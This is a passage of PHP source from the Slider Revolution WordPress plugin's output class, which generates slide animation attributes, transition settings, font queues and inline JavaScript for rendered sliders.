'out', 'sy', '1', 'sy', false); $_anim_out .= $this->get_html_slide_anim_attribute($data, 'out', 'm', false, 'm', false); $_anim_out .= $this->get_html_slide_anim_attribute($data, 'out', 'e', 'power2.inOut', 'e', false); $_anim_out .= $this->get_html_slide_anim_attribute($data, 'out', 'row', '1', 'row', false); $_anim_out .= $this->get_html_slide_anim_attribute($data, 'out', 'col', '1', 'col', false); $anim_out .= ($_anim_out === '') ? 'a:false;' : $_anim_out; } $anim_out .= '"'; if($anim === ' data-anim=""') $anim = ''; if($anim_filters !== ' data-filter=""') $anim .= $anim_filters; if($anim_in !== ' data-in=""') $anim .= $anim_in; if($anim_out !== ' data-out=""') $anim .= $anim_out; if($anim_ddd !== ' data-d3=""') $anim .= $anim_ddd; return $anim; } /** * get slide duration as html **/ public function get_html_slide_anim_duration(){ $slide = $this->get_slide(); $duration = $slide->get_param(array('timeline', 'duration'), ''); //$this->slider->get_param(array('def', 'transitionDuration'), '') $duration = ((is_array($duration) || is_object($duration)) && !empty($duration)) ? implode(',', (array)$duration) : $duration; if(in_array($duration, array('default', 'd'), true)) $duration = ''; return (!empty($duration)) ? $duration : ''; } /** * get slide rotation as html **/ public function get_html_slide_anim_rotation(){ $slide = $this->get_slide(); $rotation = (array)$slide->get_param(array('timeline', 'rotation'), ''); $html_rotation = ''; if(!empty($rotation)){ $rot_string = ''; foreach($rotation as $rkey => $rot){ if(intval($rot) !== 0){ $rot = intval($rot); if($rot != 0){ if($rot > 720 && $rot != 999) $rot = 720; if($rot < -720) $rot = -720; } } if(in_array($rot, array('random', 'ran', 'rand'), true)) $rot = 'ran(-20|20)'; $rot = $this->shorten($rot, 'default', 'd'); $rot = $this->transform_frame_vals($rot); if(in_array($rot, array('default', 'd'), true)) continue; if($rkey > 0) $rot_string .= ','; $rot_string .= $rot; } if($rot_string !== ''){ $html_rotation = 'r:'.$rot_string.';'; } } return $html_rotation; } /** * get slide ease in as html **/ public function get_html_slide_anim_ease_in(){ $slide = $this->get_slide(); $easein = $slide->get_param(array('timeline', 'easeIn'), array('default')); if((is_array($easein) || is_object($easein)) && !empty($easein)){ foreach($easein as $ei){ $this->easings[$ei] = $ei; } }else{ $this->easings[$easein] = $easein; } $easein = (!empty($easein) && (is_array($easein) || is_object($easein))) ? 'ei:'.implode(',', (array)$easein).';' : ''; return str_replace('default', 'd', $easein); } /** * get slide ease out as html **/ public function get_html_slide_anim_ease_out(){ $slide = $this->get_slide(); $easeout = $slide->get_param(array('timeline', 'easeOut'), array('default')); if((is_array($easeout) || is_object($easeout)) && !empty($easeout)){ foreach($easeout as $eo){ $this->easings[$eo] = $eo; } }else{ $this->easings[$easeout] = $easeout; } $easeout = (!empty($easeout) && (is_array($easeout) || is_object($easeout))) ? 'eo:'.implode(',', (array)$easeout).';' : ''; return str_replace('default', 'd', $easeout); } /** * prepare the transition data attribute **/ public function get_html_first_transition(){ $slide = $this->get_slide(); $transition = $slide->get_param(array('timeline', 'transition'), ''); if((is_array($transition) || is_object($transition)) && !empty($transition)){ $transition = (array)$transition; $transition = array_shift($transition); } $transition = (empty($transition)) ? '' : $transition; return (trim($transition) !== '') ? $transition : ''; } /** * prepare the transition data attribute **/ public function get_html_random_animations(){ $sl = $this->get_slide(); $t = $sl->get_param(array('timeline', 'transition'), 'fade'); $_t = (!is_array($t)) ? explode(',', $t) : $t; $random = ''; if(is_array($_t) && !empty($_t)){ $random = (in_array('random-selected', $_t, true)) ? ' data-rndtrans="on"' : $random; } return $random; } /** * prepare the alternate transition data attribute **/ public function get_html_alt_transitions(){ $slide = $this->get_slide(); $alt_trans = ' data-alttrans="'; $alt = (array)$slide->get_param(array('slideChange', 'alt'), array()); if(empty($alt)){ //check for fallback of the old output, remove first entry $alt = (array)$slide->get_param(array('timeline', 'transition'), array()); if(!empty($alt)) array_shift($alt); } $alt_trans .= implode(',', $alt); $alt_trans .= '"'; $this->frontend_action = ($alt_trans !== ' data-alttrans=""') ? true : $this->frontend_action; return ($alt_trans !== ' data-alttrans=""') ? $alt_trans : ''; } /** * get slide loop **/ public function get_html_slide_loop(){ $html = ''; $slide = $this->get_slide(); if($slide->get_param(array('timeline', 'loop', 'set'), false) === true){ $html .= 's:'.$slide->get_param(array('timeline', 'loop', 'start'), '2500').';'; $lend = $slide->get_param(array('timeline', 'loop', 'end'), '4500'); if(!empty($lend) && is_numeric($lend)) $html .= 'e:'.$lend.';'; $rpt = $slide->get_param(array('timeline', 'loop', 'repeat'), 'unlimited'); if(!empty($rpt) && $rpt !== 'unlimited') $html .= 'r:'.$rpt.';'; } return ($html !== '') ? ' data-sloop="'.$html.'"' : ''; } /** * the first transition can be changed through Slider settings, so check here **/ public function js_get_first_anim_data(){ $html = ''; if($this->slider->get_param(array('general', 'firstSlide', 'set'), false) == true && $this->slider->get_param('type') !== 'hero'){ $base_transitions = $this->get_base_transitions(); $transition = $this->slider->get_param(array('general', 'firstSlide', 'type'), 'fade'); $data = array(); foreach($base_transitions as $_transition){ if(empty($_transition) || !is_array($_transition)) continue; foreach($_transition as $_values){ if(empty($_values) || !is_array($_values)) continue; foreach($_values as $_name => $_v){ if($_name !== $transition) continue; $data = $_v; break; } } } $duration = str_replace('ms', '', $this->slider->get_param(array('general', 'firstSlide', 'duration'), '300')); if(!empty($duration) && is_numeric($duration)) $data['speed'] = $duration; if(isset($data['title'])) unset($data['title']); $data = apply_filters('revslider_disable_first_trans', $data, $this->slider); if(!empty($data)){ $ff = true; $html .= $this->JTA . RS_T5.'fanim: {'."\n"; foreach($data as $k => $v){ $html .= ($ff === true) ? '' : ','."\n"; $html .= $this->JTA . RS_T6.$k.':'; if(!empty($v)){ if(is_array($v)){ $html .= json_encode($v); }else{ $html .= $this->write_js_var($v); } } $ff = false; } $html .= "\n".$this->JTA . RS_T5.'},'."\n"; } } return $html; } /** * return the media filter settings **/ public function get_html_media_filter(){ $slide = $this->get_slide(); $filter = $slide->get_param(array('bg', 'mediaFilter'), 'none'); return ($filter != 'none') ? ' data-mediafilter="'.$filter.'"' : ''; } /** * return the slide class html **/ public function get_html_slide_class(){ $slide = $this->get_slide(); $class = $slide->get_param(array('attributes', 'class'), ''); return ($class != '') ? ' class="'.$class.'"' : ''; } /** * return the slide id html **/ public function get_html_slide_id(){ $slide = $this->get_slide(); $id = $slide->get_param(array('attributes', 'id'), ''); return ($id != '') ? ' id="'.$id.'"' : ''; } /** * return the extra data html **/ public function get_html_extra_data(){ $slide = $this->get_slide(); $data = stripslashes($slide->get_param(array('attributes', 'data'), '')); $deeplink = stripslashes($slide->get_param(array('attributes', 'deeplink'), '')); if (!empty($deeplink)) { $data = $data.' data-deeplink="'.$deeplink.'" '; } return ($data != '') ? ' '.$data : ''; } /** * return the hide after loop html **/ public function get_html_hide_after_loop(){ $slide = $this->get_slide(); $hal = $slide->get_param(array('visibility', 'hideAfterLoop'), 0); return ($hal !== 0) ? ' data-hal="'.$hal.'"' : ''; } /** * return the hide slide if we are mobile html **/ public function get_html_hide_slide_mobile(){ $slide = $this->get_slide(); $hsom = $slide->get_param(array('visibility', 'hideOnMobile'), false); return ($hsom === true) ? ' data-hsom="on"' : ''; } /** * get extra params that can be set **/ public function get_html_extra_params(){ $params = ''; $slide = $this->get_slide(); for($mi = 0; $mi < 10; $mi++){ $pa = $slide->get_param(array('info', 'params', $mi, 'v'), ''); if($pa !== ''){ $pa_limit = $slide->get_param(array('info', 'params', $mi, 'l'), 10); $pa = strip_tags($pa); $pa = mb_substr($pa, 0, $pa_limit, 'utf-8'); } $mm = $mi + 1; $params .= ($pa !== '') ? ' data-p'.$mm.'="'.stripslashes(esc_attr($pa)).'"' : ''; } return $params; } /** * get the image or video ratio data attribute * only for carousel sliders that are set to justify **/ public function get_html_image_video_ratio(){ $slide = $this->get_slide(); $s = $this->slider; $ratio = ''; if($s->get_param('type', 'standard') !== 'carousel') return ''; if($s->get_param(array('carousel', 'justify'), false) !== true) return ''; switch($slide->get_param(array('bg', 'type'), 'trans')){ case 'image': $src = $slide->image_url; $id = $slide->image_id; $data = array(); if(!empty($id) && intval($id) !== 0){ $data = wp_get_attachment_metadata($id); } if(empty($data) && $src !== false){ $id = $this->get_image_id_by_url($src); $data = wp_get_attachment_metadata($id); } if(!empty($data)){ $size = $slide->get_param(array('bg', 'imageSourceType'), 'full'); if($size !== 'full'){ if(isset($data['sizes']) && isset($data['sizes'][$size])){ $width = $this->get_val($data, array('sizes', $size, 'width'), '1'); $height = $this->get_val($data, array('sizes', $size, 'height'), '1'); $ratio = round($width / $height, 5); } }else{ $width = $this->get_val($data, 'width', '1'); $height = $this->get_val($data, 'height', '1'); $ratio = round($width / $height, 5); } } break; case 'html5': case 'vimeo': case 'youtube': switch($slide->get_param(array('bg', 'video', 'ratio'), '16:9')){ case '16:9': $ratio = round(16 / 9, 5); break; case '4:3': $ratio = round(4 / 3, 5); break; } break; } return ($ratio !== '') ? ' data-iratio="'.$ratio.'"' : ''; } /** * remove the navigation, as for example we are on a single slide **/ public function remove_navigation(){ $this->slider->set_param(array('nav', 'arrows', 'set'), false); $this->slider->set_param(array('nav', 'bullets', 'set'), false); $this->slider->set_param(array('nav', 'tabs', 'set'), false); $this->slider->set_param(array('nav', 'thumbs', 'set'), false); } /** * set the slides to hold the gallery images **/ public function set_gallery_slides($slides){ //check if we have at least one slide. If not, then it may result in errors here if(count($slides) > 0){ $gallery_ids = $this->get_gallery_ids(); if(count($gallery_ids) !== count($slides)){ //set slides to the same amount as if(count($gallery_ids) < count($slides)){ $slides = array_slice($slides, 0, count($gallery_ids)); }else{ // > while(count($slides) < count($gallery_ids)){ foreach($slides as $slide){ $new_slide = clone $slide; array_push($slides, $new_slide); if(count($slides) >= count($gallery_ids)) break; } } if(count($gallery_ids) < count($slides)){ $slides = array_slice($slides, 0, count($gallery_ids)); } } } $post_slide = $this->slider->is_posts(); $size = $this->slider->get_param(array('def', 'background', 'imageSourceType'), 'full'); $gi = 0; foreach($slides as $skey => $slide){ //add gallery images into slides //set post id to imageid //check if slider is Post Based, if yes use $slide->get_id(); else use $gallery_ids[$gi] if($post_slide){ $ret = $slide->set_image_by_id($slide->get_id(), $size); }else{ $ret = $slide->set_image_by_id($gallery_ids[$gi], $size); } if($ret === true){ //set slide type to image instead of for example external or transparent /* * If a "Specific Posts" Slider doesn't have a 'bg' param, create it */ $bg = $slide->get_param('bg', array()); if(empty($bg)) $slide->set_param('bg', array()); /* * Changed to 'image' for WP Gallery AddOn compatibility */ $slide->set_param(array('bg', 'type'), 'image'); }else{ unset($slides[$skey]); } $gi++; } } return $slides; } /** * remove Slides that should be hidden on mobile **/ public function remove_slide_if_mobile($slides){ //check if mobile, if yes, then remove certain slides $usragent = (isset($_SERVER['HTTP_USER_AGENT'])) ? $_SERVER['HTTP_USER_AGENT'] : ''; $mobile = (wp_is_mobile() || strstr($usragent,'Android') || strstr($usragent,'webOS') || strstr($usragent,'iPhone') ||strstr($usragent,'iPod') || strstr($usragent,'iPad') || strstr($usragent,'Windows Phone')) ? true : false; if($mobile && !empty($slides)){ foreach($slides as $ss => $sv){ if($sv->get_param(array('visibility', 'hideOnMobile'), false) === true){ unset($slides[$ss]); } } } return $slides; } /** * Get the Hero Slide of the Slider * @since: 5.0 * @before: RevSliderOutput::getHeroSlide(); */ private function get_hero_slide($slides){ if(empty($slides)) return $slides; $hero_id = $this->slider->get_param(array('hero', 'activeSlide'), -1); foreach($slides as $slide){ if($slide->get_id() == $hero_id){ return $slide; } if($this->get_language() !== 'all'){ if($slide->get_param(array('child', 'parentId'), '') == $hero_id){ return $slide; } } } //could not be found, use first slide foreach($slides as $slide){ return $slide; } } /** * reorder the slides by the given order **/ public function order_slides($slides, $order){ $temp_slides = $slides; $slides = array(); foreach($order as $order_slideid){ foreach($temp_slides as $temp_slide){ if($temp_slide->get_id() == $order_slideid){ $temp_slide->set_param(array('publish', 'state'), 'published'); //set to published $slides[] = $temp_slide; break; } } } return $slides; } /** * check the add_to * return true / false if the put in string match the current page. * @before isPutIn() */ public function check_add_to($empty_is_false = false){ $add_to = $this->get_add_to(); if($empty_is_false && empty($add_to)) return false; if($add_to == 'homepage'){ //only add if we are the homepage if(is_front_page() == false && is_home() == false) return false; }elseif(!empty($add_to)){ $add_to_pages = array(); $add_to = explode(',', $add_to); if(!empty($add_to)){ foreach($add_to as $page){ $page = trim($page); if(is_numeric($page) || $page == 'homepage') $add_to_pages[] = $page; } } //check if current page is in list if(!empty($add_to_pages)){ $cp_id = $this->get_current_page_id(); if(array_search($cp_id, $add_to_pages) === false) return false; }else{ return false; } } return true; } /** * get the current page id * @since: 6.0 **/ public function get_current_page_id(){ $id = ''; if(is_front_page() == true || is_home() == true){ $id = 'homepage'; }else{ global $post; $id = (isset($post->ID)) ? $post->ID : $id; } return $id; } /** * set general values that are needed by layers * this is needed to be called before any layer is added to the stage **/ public function set_general_params_for_layers(){ $this->enabled_sizes = array( 'd' => true, 'n' => $this->slider->get_param(array('size', 'custom', 'n'), false), 't' => $this->slider->get_param(array('size', 'custom', 't'), false), 'm' => $this->slider->get_param(array('size', 'custom', 'm'), false) ); $this->adv_resp_sizes = $this->enabled_sizes['n'] == true || $this->enabled_sizes['t'] == true || $this->enabled_sizes['m'] == true; $this->icon_sets = $this->set_icon_sets(array()); } /** * modify slider settings through the shortcode directly */ private function modify_settings(){ $settings = $this->get_custom_settings(); $settings = apply_filters('revslider_modify_slider_settings', $settings, $this->get_slider_id()); if(empty($settings)) return; $params = $this->slider->get_params(); foreach($settings as $handle => $setting){ $params[$handle] = $setting; } $this->slider->set_params($params); } /** * modfy slide and layer settings by a selected skin **/ private function modify_slide_by_skin(){ /** * 1. check if the skin exists * 2. check if the skin is loaded * 3. push the data to the layers by certain routines **/ if(empty($this->custom_skin)) return true; //1 + 2 if(!isset($this->custom_skin_data[$this->custom_skin])) $this->custom_skin_data[$this->custom_skin] = array(); $_mod = $this->get_val($this->custom_skin_data, array($this->custom_skin, 'slide'), array()); //3 if(empty($_mod)) return true; $slide = $this->get_slide(); $_p = $slide->get_params(); $_p = array_replace_recursive($_p, $_mod); $slide->set_params($_p); $this->set_slide($slide); } /** * modfy slide and layer settings by a selected skin **/ private function modify_layers_by_skin(){ /** * 1. check if the skin exists * 2. check if the skin is loaded * 3. push the data to the layers by certain routines **/ if(empty($this->custom_skin)) return true; //1 + 2 if(!isset($this->custom_skin_data[$this->custom_skin])) $this->custom_skin_data[$this->custom_skin] = array(); $_mod = $this->get_val($this->custom_skin_data, array($this->custom_skin, 'layers'), array()); if(empty($_mod)) return true; //3 $slide = $this->get_slide(); $layers = $slide->get_layers(); foreach($layers as $lk => $lv){ $layers[$lk] = array_replace_recursive($layers, $_mod); } $slide->set_layers_raw($layers); $this->set_slide($slide); } /** * modfy layer settings alwaysOnCarousel, if paren is false, all children need to be set to false **/ private function modify_layers_by_carousel(){ if($this->slider->get_param('type', 'standard') !== 'carousel') return true; $map = array(); $slide = $this->get_slide(); $layers = $slide->get_layers(); foreach($layers as $lk => $layer){ $uid = intval($this->get_val($layer, 'uid')); $map[$uid] = array( 'aoc' => $this->get_val($layer, array('visibility', 'alwaysOnCarousel'), false), 'puid' => intval($this->get_val($layer, array('group', 'puid'), '-1')), 'type' => $this->get_val($layer, 'type', 'text'), ); } if(!empty($map)){ $mod = false; foreach($map as $uid => $values){ if($values['puid'] === -1) continue; //if we do not have a parent, we do not need to change the value on this $uid if($values['aoc'] === false) continue; //as we are true, check if we need to set it to false if parents are somewhere set to false $parent = $values['puid']; $run = 0; while($parent !== -1){ if($run >= 10) break; if(isset($map[$parent]) && $map[$parent]['type'] === 'zone') break; if(!isset($map[$parent]) || $map[$parent]['aoc'] === false){ $map[$uid]['aoc'] = false; $mod = true; } $parent = (!isset($map[$parent])) ? -1 : $map[$parent]['puid']; $run++; } } if($mod === false) return true; foreach($layers as $lk => $layer){ $uid = intval($this->get_val($layer, 'uid')); if(!isset($layers[$lk]['visibility'])) $layers[$lk]['visibility'] = array(); $layers[$lk]['visibility']['alwaysOnCarousel'] = $this->get_val($map, array($uid, 'aoc'), false); } $slide->set_layers_raw($layers); $this->set_slide($slide); } } /** * modify layer settings depending on certain values * @since: 6.6.8 **/ public function modify_layer_settings(){ $this->modify_layers_by_skin(); $this->modify_layers_by_carousel(); } /** * modify slider settings for preview mode * @before: RevSliderOutput::modifyPreviewModeSettings */ private function modify_preview_mode_settings(){ $js_to_body = apply_filters('revslider_modify_preview_mode_settings', false); $this->slider->set_param(array('troubleshooting', 'jsInBody'), $js_to_body); } /** * set the fonts to be added right before the slider from slider and layers * @since: 6.0 */ private function set_fonts(){ //add all google fonts of layers $gfsub = $this->slider->get_param('subsets', array()); $gf = $this->slider->get_used_fonts(false); foreach($gf as $gfk => $gfv){ $variants = array(); if(!empty($gfv['variants'])){ foreach($gfv['variants'] as $mgvk => $mgvv){ $variants[] = $mgvk; } } $subsets = array(); if(!empty($gfv['subsets'])){ foreach($gfv['subsets'] as $ssk => $ssv){ if(array_search(esc_attr($gfk.'+'.$ssv), $gfsub) !== false){ $subsets[] = $ssv; } } } $url = (isset($gfv['url'])) ? $gfv['url'] : ''; $this->set_clean_font_import($gfk, '', $url, $variants, $subsets); } } /** * set the font clean for import * @before: RevSliderOperations::setCleanFontImport() */ public function set_clean_font_import($font, $class = '', $url = '', $variants = array(), $subsets = array()){ global $revslider_fonts; if(!isset($revslider_fonts)) $revslider_fonts = array('queue' => array(), 'loaded' => array()); //if this is called without revslider.php beeing loaded if(!empty($variants) || !empty($subsets)){ if(!isset($revslider_fonts['queue'][$font])) $revslider_fonts['queue'][$font] = array(); if(!isset($revslider_fonts['queue'][$font]['variants'])) $revslider_fonts['queue'][$font]['variants'] = array(); if(!isset($revslider_fonts['queue'][$font]['subsets'])) $revslider_fonts['queue'][$font]['subsets'] = array(); if(!empty($variants)){ foreach($variants as $k => $v){ //check if the variant is already in loaded if(!in_array($v, $revslider_fonts['queue'][$font]['variants'], true)){ $revslider_fonts['queue'][$font]['variants'][] = $v; }else{ //already included somewhere, so do not call it anymore unset($variants[$k]); } } } if(!empty($subsets)){ foreach($subsets as $k => $v){ if(!in_array($v, $revslider_fonts['queue'][$font]['subsets'], true)){ $revslider_fonts['queue'][$font]['subsets'][] = $v; }else{ //already included somewhere, so do not call it anymore unset($subsets[$k]); } } } if($url !== ''){ $revslider_fonts['queue'][$font]['url'] = $url; } } } /** * add all options that change the slider here, for the cache to properly work * @since: 6.4.6 **/ public function get_transient_alias(){ global $rs_slider_serial, $rs_wmpl; $gs = $this->get_global_settings(); $transient = 'revslider_slider'; $transient .= '_'.$this->get_slider_id(); $args = array( 'fontdownload' => $this->get_val($gs, 'fontdownload', 'off'), 'serial' => $rs_slider_serial, 'admin' => is_admin(), 'settings' => $this->custom_settings, 'order' => $this->custom_order, 'usage' => $this->usage, 'modal' => $this->modal, 'layout' => $this->sc_layout, 'skin' => $this->custom_skin, 'offset' => $this->offset, 'mid_content' => $this->gallery_ids, 'export' => $this->markup_export, 'preview' => $this->preview_mode, 'published' => $this->only_published ); if($this->get_preview_mode() == false){ $args['lang'] = $rs_wmpl->get_slider_language($this->slider); } $transient .= '_'.md5(json_encode($args)); return $transient; } /** * push the needed JavaScript into the footer * @since: 6.0 */ private function add_javascript_to_footer(){ $slver = apply_filters('revslider_remove_version', RS_REVISION); //allows to remove slider version at the JavaScript and CSS inclusions $ret = RS_T3.''."\n"; if(!file_exists(RS_PLUGIN_PATH.'public/assets/js/rs6.min.js')){ $ret .= RS_T3.''."\n"; //if on, load all libraries instead of dynamically loading them $ret .= RS_T3.''."\n"; $ret .= RS_T3.''."\n"; $ret .= RS_T3.''."\n"; $ret .= RS_T3.''."\n"; $ret .= RS_T3.''."\n"; $ret .= RS_T3.''."\n"; $ret .= RS_T3.''."\n"; $ret .= RS_T3.''."\n"; }else{ $ret .= RS_T3.''."\n"; } return $ret; } /** * print the HTML markup if no Slides are found in Slider **/ public function add_no_slides_markup(){ $sourcetype = $this->slider->get_param(array('sourcetype')); $text = __('Make sure to add slides to the slider', 'revslider'); switch($sourcetype){ case 'woo': case 'woocommerce': $text = __('Make sure that a valid WooCommerce product type / category is selected in "Module General Options -> Content -> Types & Categories".', 'revslider'); break; case 'post': case 'posts': case 'specific_posts': case 'current_post': $text = __('Make sure that a valid post type / category is selected in "Module General Options -> Content -> Post Selection".', 'revslider'); break; } $this->throw_error($text); } /** * sets the Slide into a loop **/ public function set_slide_loop($slides){ $loop = $this->slider->get_param(array('general', 'slideshow', 'loopSingle'), true); if(($loop == 'loop' || $loop == true) && count($slides) == 1){ $new_slide = clone reset($slides); $new_slide->ignore_alt = true; $new_slide->set_id($new_slide->get_id().'-1'); $slides[] = $new_slide; $this->set_is_single_slide(true); } return $slides; } /** * check if the slide should only be visible in a certain timeframe, and if yes deny the output of the slide **/ public function is_in_timeframe(){ $slide = $this->get_slide(); $in = true; if($this->get_preview_mode() === false){ // do only if we are not in preview mode $ts = current_time('timestamp'); //check if date is set $date_from = $slide->get_param(array('publish', 'from'), ''); $date_to = $slide->get_param(array('publish', 'to'), ''); if($date_from != ''){ $date_from = strtotime($date_from); if($ts < $date_from) $in = false; } if($date_to != ''){ $date_to = strtotime($date_to); if($ts > $date_to) $in = false; } } return $in; } /** * Output Inline JS */ /*public function add_inline_js(){ echo $this->rev_inline_js; }*/ /** * Output revslider_showDoubleJqueryError */ public function add_inline_double_jquery_error($do_check = false){ global $rs_double_jquery_script; if($rs_double_jquery_script === false || $do_check === true){ echo ''."\n"; } $rs_double_jquery_script = (empty($do_check) || $do_check === false) ? true : $rs_double_jquery_script; } /** * set the start size of the slider through javascript **/ public function get_html_js_start_size($optFullWidth, $optFullScreen){ $csizes = $this->get_responsive_size($this); $html_id_trimmed = $this->get_html_id(false); $jus = $this->slider->get_param(array('carousel', 'justify'), false); $revapi = $this->get_revapi(); if($jus !== false) $jus="true"; $html = ''; if(!$this->get_markup_export()){ //not needed for html markup export $html .= 'setREVStartSize('; $html .= "{c: '". $this->get_html_id() ."',"; $html .= (isset($csizes['level']) && !empty($csizes['level'])) ? 'rl:['. $csizes['level'] .'],' : ''; $html .= ($csizes['cacheSize'] !== false) ? 'el:['.$csizes['cacheSize'].'],' : ''; $html .= "gw:[". $csizes['width'] ."],"; $html .= "gh:[". $csizes['height'] ."],"; $html .= "type:'"; $html .= $this->slider->get_param('type', 'standard'); $html .= "',"; $html .= "justify:'"; $html .= $jus; $html .= "',"; $html .= "layout:'"; $html .= ($optFullScreen == 'on') ? 'fullscreen' : 'fullwidth'; $html .= "',"; if($this->slider->get_param('type', 'standard') !== 'hero'){ $check = array('tab' => 'tabs', 'thumb' => 'thumbs'); $wpd = array('tabs' => 2, 'thumbs' => 10); foreach($check as $nk => $nav){ $do = false; if($this->slider->get_param(array('nav', $nav, 'set'), false) !== true) continue; if($this->slider->get_param(array('nav', $nav, 'innerOuter'), 'inner') === 'outer-vertical'){ $html .= $nk.'w:"'.$this->slider->get_param(array('nav', $nav, 'widthMin'), 100).'",'; $do = true; } if($this->slider->get_param(array('nav', $nav, 'innerOuter'), 'inner') === 'outer-horizontal'){ $wp = intval($this->slider->get_param(array('nav', $nav, 'padding'), $wpd[$nav])); $h = $this->slider->get_param(array('nav', $nav, 'height'), 50); $h = ($wp > 0) ? $h + $wp * 2 : $h; $html .= $nk.'h:"'.$h.'",'; $do = true; } if($do === false) continue; if($this->slider->get_param(array('nav', $nav, 'hideUnder'), false) === false) continue; $html .= $nk.'hide:"'.$this->slider->get_param(array('nav', $nav, 'hideUnderLimit'), 0).'",'; } } if($this->slider->get_param('layouttype') == 'fullscreen'){ $html .= "offsetContainer:'". esc_attr($this->slider->get_param(array('size', 'fullScreenOffsetContainer'), '')) ."',"; $html .= "offset:'". esc_attr($this->slider->get_param(array('size', 'fullScreenOffset'), '')) ."',"; } $mheight = ($this->slider->get_param('layouttype') !== 'fullscreen') ? $this->slider->get_param(array('size', 'minHeight'), 0) : $this->slider->get_param(array('size', 'minHeightFullScreen'), '0'); $mheight = ($mheight == '' || $mheight=="none") ? 0 : $mheight; $html .= 'mh:"'.$mheight.'"'; $html .= '}'; $html .= ');'; $html .= 'if (window.RS_MODULES!==undefined && window.RS_MODULES.modules!==undefined && window.RS_MODULES.modules["'. $html_id_trimmed .'"]!==undefined) {'; $html .= 'window.RS_MODULES.modules["'. $html_id_trimmed .'"].once = false;'; $html .= 'window.'. $revapi .' = undefined;'; $html .= 'if (window.RS_MODULES.checkMinimal!==undefined) window.RS_MODULES.checkMinimal()'; $html .= '}'; } return $html; } /** * add error message into the console */ public function print_error_message_console($message){ $message = $this->slider->get_title().': '.$message; $html = ''; $html .= ''."\n"; echo $html; } /** * put inline error message in a box. * @before: RevSliderOutput::putErrorMessage */ public function print_error_message($message, $open_page = false){ global $rs_slider_serial; $html_id = $this->get_html_id(); $id = ''; $html = ''; if(empty($html_id)){ $html_id = 'rev_slider_error_'.$rs_slider_serial; }else{ $slides = $this->slider->get_slides(); if(!empty($slides)){ foreach($slides as $slide){ $id = $slide->get_id(); break; } } } $url = (empty($html_id) || !is_user_logged_in() || $id === '') ? '' : admin_url('admin.php?page=revslider&view=slide&id='.$id); $page_url = ($open_page === true && is_user_logged_in()) ? get_edit_post_link() : ''; $html .= ($this->rs_module_wrap_open === false) ? RS_T3.''."\n" : ''; $html .= ($this->rs_module_open === false) ? RS_T4.''."\n" : ''; $html .= RS_T5.'
            '."\n"; $html .= RS_T6.'
            There is nothing to show here!
            '."\n"; $html .= RS_T6.'
            '.esc_html($message); $html .= (!empty($url)) ? '
            '.__('Please follow this link to edit the slider:', 'revslider') : ''; $html .= '
            '."\n"; $html .= (!empty($url)) ? RS_T6.'Edit Module : "'.$this->slider->get_alias().'"'."\n" : ''; $html .= (!empty($page_url)) ? RS_T6.'Edit Page'."\n" : ''; $html .= RS_T5.'
            '."\n"; $html .= ($this->rs_module_wrap_closed === false) ? RS_T4.'
            '."\n" : ''; $html .= ($this->rs_module_closed === false) ? RS_T3.'
            '."\n" : ''; $html .= RS_T3.''."\n"; echo $html; } /** * add JavaScript **/ private function add_js(){ global $rs_loaded_by_editor; $cache = RevSliderGlobals::instance()->get('RevSliderCache'); $me = $this->get_markup_export(); $this->full_js = (($this->usage === 'modal' && $this->ajax_loaded === true) || $me === true || $this->ajax_loaded === true || $rs_loaded_by_editor === true) ? true : false; if($this->full_js === false) $this->JTA = ''; //remove 2 tabs to beautify HTML $html_start_size = $this->js_get_start_size(); $html_base_pre = $this->js_get_base_pre(); $html_root = $this->js_get_root(); $html_overlay = $this->js_get_overlay(); $html_modal = $this->js_get_modal(); $html_carousel = $this->js_get_carousel(); $html_progressbar = $this->js_get_progressbar(); $html_nav = $this->js_get_navigation(); $html_paralax = $this->js_get_parallax(); $html_first_anim = $this->js_get_first_anim_data(); $html_scroll = $this->js_get_scrolleffect(); $html_sb_timeline = $this->js_get_scrollbased_timeline(); $html_view_port = $this->js_get_viewport(); $html_custom_eases = $this->js_get_custom_eases(); $html_fallback = $this->js_get_fallback(); $html_custom_css = $this->js_get_custom_css(); $html_base_post = $this->js_get_base_post(); $html_nav_css = $this->get_navigation_css(); $html_spinner = $this->get_spinner_markup(); $html_notice = $this->get_notices(); echo $html_start_size; $js = ($me === true) ? '' : ''; //add inline style into the footer $js .= $html_base_pre; $js .= $html_root; $js .= $html_overlay; $js .= $html_modal; $js .= $html_carousel; $js .= $html_progressbar; $js .= $html_nav; $js .= $html_paralax; $js .= $html_first_anim; $js .= $html_scroll; $js .= $html_sb_timeline; $js .= $html_view_port; $js .= $html_custom_eases; $js .= $html_fallback; $js .= $html_base_post; $js .= $html_custom_css; $js .= $html_spinner; $js .= $html_notice; $js .= $html_nav_css; $js .= ($me === true) ? '' : ''; if($this->full_js){ echo $js; }else{ global $rs_js_collection; //$this->rev_inline_js = $js; $rs_js_collection['js'][] = $js; if($this->caching) $cache->add_addition('action', 'wp_print_footer_scripts', $js); //add_action('wp_print_footer_scripts', array($this, 'add_inline_js'), 100); } if($me === true){ //for html markup export $this->add_inline_double_jquery_error(); }else{ if(has_action('wp_footer', array($this, 'add_inline_double_jquery_error')) === false){ if($this->caching){ ob_start(); $this->add_inline_double_jquery_error(true); $double_jquery = ob_get_contents(); ob_clean(); ob_end_clean(); $cache->add_addition('action', 'wp_footer', $double_jquery); } add_action('wp_footer', array($this, 'add_inline_double_jquery_error')); } } } /** * get the start size **/ public function js_get_start_size(){ $layout = $this->slider->get_param('layouttype'); $fw = ($layout == 'fullwidth') ? 'on' : 'off'; $fw = ($layout == 'fullscreen') ? 'off' : $fw; $fs = ($layout == 'fullscreen') ? 'on' : 'off'; $html = ''; $html .= RS_T4.''."\n"; return $html; } /** * get the JavaScript Pre **/ public function js_get_base_pre(){ global $rs_js_collection, $rs_slider_serial; $html = ''; $sid = $this->slider->get_id(); $html_id = $this->get_html_id(); $html_id_trimmed = $this->get_html_id(false); $revapi = $this->get_revapi(); $rs_js_collection['revapi'][] = $revapi; if($this->caching){ $cache = RevSliderGlobals::instance()->get('RevSliderCache'); if($rs_js_collection['minimal'] === ''){ $cache->add_addition('action', 'wp_print_footer_scripts', $this->JTA . RS_T2.'var tpj = jQuery;'."\n", 1); } $cache->add_addition('action', 'wp_print_footer_scripts', $this->JTA . RS_T2.'var '. $revapi .';'."\n", 1); } if($this->full_js){ $html .= $this->JTA . RS_T.''."\n"; } return $html; } /** * get the custom js **/ public function js_get_custom_js(){ $html = ''; $js = $this->slider->get_param(array('codes', 'javascript'), ''); if($js === '') return ''; $js = $this->replace_html_ids($js); $html .= RS_T7; $html .= str_replace('var counter = {val:doctop};', 'var counter = {val:(window.pageYOffset || document.documentElement.scrollTop) - (document.documentElement.clientTop || 